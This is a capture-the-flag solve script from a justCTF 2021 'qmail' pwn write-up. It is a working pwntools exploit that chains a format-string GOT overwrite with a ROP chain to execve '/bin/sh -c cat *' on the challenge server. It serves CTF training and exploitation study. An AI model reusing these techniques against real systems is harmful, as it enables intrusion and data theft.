Tags: 2021 pwn qmail justctf 

Rating:

```python
#!/usr/bin/python3

from pwn import *

context.terminal = 'tmux split -h'.split(' ')

frame = b'From: epicleet.team\nSubject: Pwn2Win CTF 2021 - '

elf = ELF('./qmail')

"""
0x000000000040589c : add rsp, 0x48 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040461b : leave ; ret
0x00000000004040ab : mov rax, qword ptr [rax] ; ret
0x00000000004040d9 : mov rax, rdi ; ret
0x000000000040577d : add dword ptr [rax - 0x7d], ecx ; ret
0x0000000000405919 : pop rcx ; and byte ptr [rax], al ; ret
0x0000000000406956 : mov qword ptr [rsi], rcx ; ret
0x0000000000403b7c : pop rsi ; ret
0x0000000000405b66 : mov qword ptr [rsi + 8], rdx ; ret
0x0000000000406a06 : pop rdx ; mov eax, 1 ; pop rbx ; pop rbp ; pop r12 ; ret
0x00000000004050a6 : pop rdi ; ret
"""

mov_rax_rdi_addr = 0x4040d9
pop_rcx_addr = 0x405919
add_rax_ecx_addr = 0x40577d

pop_rsi_addr = 0x403b7c
mov_rsi_rdx_addr = 0x405b66
pop_rdx_addr = 0x406a06
pop_rdi_addr = 0x4050a6

def set_rax(value):
rop = b''
rop += p64(pop_rdi_addr)
rop += p64(value)
rop += p64(mov_rax_rdi_addr)
return rop

def add_to(addr, dword):
rop = b''

rop += set_rax(elf.bss(0))
rop += p64(pop_rcx_addr)
rop += p64(dword)

rop += set_rax(addr + 0x7d)

rop += p64(add_rax_ecx_addr)
return rop

def set_rdx(value):
rop = b''
rop += p64(pop_rdx_addr)
rop += p64(value)
rop += p64(0xdeadbeef) * 3
return rop

def write_to(addr, value):
rop = b''
rop += p64(pop_rsi_addr)
rop += p64(addr-8)
rop += set_rdx(value)
rop += p64(mov_rsi_rdx_addr)
return rop

# 1. Build format string

writes = { elf.got._IO_putc: 0x40589c }
log.info(f'_IO_putc.got @ {hex(elf.got._IO_putc)}')

# fmt = fmtstr_payload(12, writes, numbwritten=135, write_size='int')[:-4]
# print(fmt)

# 2. Build ROP gadget

context.arch = 'amd64'

if args.REMOTE:
libc = ELF('./libc-2.27.so')
p = remote('qmail.nc.jctf.pro', 1337)
syscall_off = 0x013c0

else:
libc = elf.libc
syscall_off = next(libc.search(asm('syscall')))

if args.GDB:
p = gdb.debug(elf.path, gdbscript='''
break * 0x0000000000403b47
continue
''')
else:
p = process(elf.path)

rop = b''
target_addr = elf.bss(0xf00)

arg0 = b'/bin/sh\x00'
arg1 = b'-c'.ljust(8, b'\x00')
# arg2 = b'ls'.ljust(8, b'\x00')
arg2 = b'cat *'.ljust(8, b'\x00')

cmd = arg0 + arg1 + arg2 + p64(target_addr) + p64(target_addr+8) + p64(target_addr+0x10) + p64(0)

# 2.1. Write command into memory

for i in range(0, len(cmd), 8):
part = u64(cmd[i:i+8].ljust(8, b'\x00'))
rop += write_to(target_addr + i, part)

# 2.2. Calculate system in memory

syscall_off = 0x013c0
delta = (syscall_off - libc.sym.printf) & 0xffffffff
rop += add_to(elf.got.printf, delta)

# 2.3. Call system(cmd)

rop += set_rdx(0)
rop += p64(pop_rsi_addr)
rop += p64(target_addr+0x18)
rop += set_rax(59)
rop += p64(pop_rdi_addr)
rop += p64(target_addr)

rop += p64(elf.sym.printf)

# 3. Send the payload to the server

fmt = b'%4216925c%14$n'

payload = frame + fmt + b'\n\n' + p64(elf.got._IO_putc) + p64(0xdeadbeef) * 5 + rop
log.info(f'payload length = {len(payload)}')

p.send(payload)

p.shutdown(direction='send')

start = p.recvuntil(b' - ')
# p.recvuntil(b'\x00')

p.interactive()
```

Original writeup (https://github.com/epicleet/write-ups/blob/master/2021/justctf/pwn/qmail/solve.py).